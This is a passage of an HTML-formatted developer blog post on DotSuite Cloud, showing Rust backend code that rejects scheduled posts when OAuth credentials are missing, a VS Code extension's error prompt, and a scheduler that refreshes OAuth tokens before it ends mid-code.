&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;connected_platforms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;HashSet&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;futures_util&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;TryStreamExt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="nf"&gt;.try_next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;connected_platforms&lt;/span&gt;&lt;span class="nf"&gt;.insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="py"&gt;.platform&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Find exactly which platforms the user is missing&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;missing_platforms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Platform&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="py"&gt;.platforms&lt;/span&gt;
    &lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;.filter&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;connected_platforms&lt;/span&gt;&lt;span class="nf"&gt;.contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;.cloned&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;missing_platforms&lt;/span&gt;&lt;span class="nf"&gt;.is_empty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;missing_platforms&lt;/span&gt;&lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="py"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;", "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Reject instantly before quota deduction!&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;MissingOauth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"You haven't connected {} to DotSuite Cloud yet."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="n"&gt;missing_platforms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By adding a custom &lt;code&gt;MissingOauth&lt;/code&gt; error variant in our &lt;code&gt;errors.rs&lt;/code&gt;, the Axum backend generates a beautifully structured JSON response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MISSING_OAUTH_CREDENTIALS"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"You haven't connected X, LinkedIn to DotSuite Cloud yet."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"missing_platforms"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"linkedin"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Premium UX in VS Code (TypeScript)
&lt;/h2&gt;

&lt;p&gt;A structured error is only as good as the UX that presents it. In our VS Code extension, we intercept the &lt;code&gt;MISSING_OAUTH_CREDENTIALS&lt;/code&gt; error code. &lt;/p&gt;

&lt;p&gt;Instead of showing a generic "Server Error 400" toast, we display an actionable VS Code alert with an &lt;strong&gt;"Open Dashboard"&lt;/strong&gt; button. This deep-links the developer straight into their DotSuite Cloud integration settings.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// DotShare/src/handlers/PostHandler.ts&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;SchedulerClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;schedulePost&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;postData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;platforms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;scheduledTime&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;errorCode&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;MISSING_OAUTH_CREDENTIALS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Open Dashboard&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;showErrorMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;☁️ Cloud Scheduling requires secure OAuth. Please open the DotSuite Dashboard to connect your social accounts.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nx"&gt;action&lt;/span&gt;
        &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selection&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selection&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="c1"&gt;// Deep link right to the login/integrations page&lt;/span&gt;
                &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;DOTSUITE_LOGIN_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`https://dotsuite.dev/en/login?intent=vscode`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;openExternal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DOTSUITE_LOGIN_URL&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;showErrorMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Failed: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, the server doesn't waste space on dead posts, quota remains untouched, and the user gets a seamless, enterprise-grade onboarding experience.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Next Boss: Background Token Auto-Refresh
&lt;/h2&gt;

&lt;p&gt;We solved the missing credentials problem, but OAuth tokens have notoriously short lifespans (often exactly 1 hour). If a user schedules a post for tomorrow, their token will be expired by the time the scheduler wakes up.&lt;/p&gt;

&lt;p&gt;To fix this, we integrated auto-refresh logic directly into our &lt;code&gt;scheduler.rs&lt;/code&gt; worker. Right before publishing a post, the scheduler checks the token's &lt;code&gt;expires_at&lt;/code&gt; timestamp. If it expires in less than 5 minutes, it transparently refreshes the token via HTTP, saves the new encrypted tokens to the database, and proceeds with the publish cycle.&lt;/p&gt;

&lt;p&gt;Here is the implementation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/scheduler.rs&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Check if token expires in less than 5 minutes&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="nf"&gt;.timestamp_millis&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;oauth_token&lt;/span&gt;&lt;span class="py"&gt;.expires_at&lt;/span&gt;&lt;span class="nf"&gt;.timestamp_millis&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;tracing&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;info!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Refreshing OAuth token for platform {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="py"&gt;.platform&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;refresh_token_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;oauth_token&lt;/span&gt;&lt;span class="py"&gt;.refresh_token_encrypted&lt;/span&gt;&lt;span class="nf"&gt;.as_deref&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Fetch API keys from environment&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;cid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{:?}_CLIENT_ID"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="py"&gt;.platform&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.to_uppercase&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_or_default&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;csec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{:?}_CLIENT_SECRET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="py"&gt;.platform&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.to_uppercase&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_or_default&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// Match the platform to its specific refresh logic via reqwest::Client&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;refresh_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="py"&gt;.platform&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nn"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;X&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;refresh_x_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;refresh_token_str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;cid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;csec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enc_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nn"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LinkedIn&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;refresh_linkedin_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;refresh_token_str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;cid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;csec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enc_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nn"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Facebook&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;refresh_facebook_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;refresh_token_str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;cid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;csec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enc_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nn"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Reddit&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;refresh_reddit_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;refresh_token_str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;cid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;csec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enc_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;anyhow&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;anyhow!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Platform unsupported for auto-refresh"&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;new_access_enc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_refresh_enc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expires_in&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;refresh_result&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// 1. Decrypt and use the newly fetched token immediately&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;plain_access&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;crate&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;decrypt_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;new_access_enc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enc_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="nf"&gt;.insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="py"&gt;.platform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;plain_access&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// 2. Save the new encrypted tokens back to MongoDB atomically&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;new_expires_at&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from_millis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="nf"&gt;.timestamp_millis&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expires_in&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;i64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;update_doc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="s"&gt;"$set"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="s"&gt;"oauth_token.access_token_encrypted"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;new_access_enc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
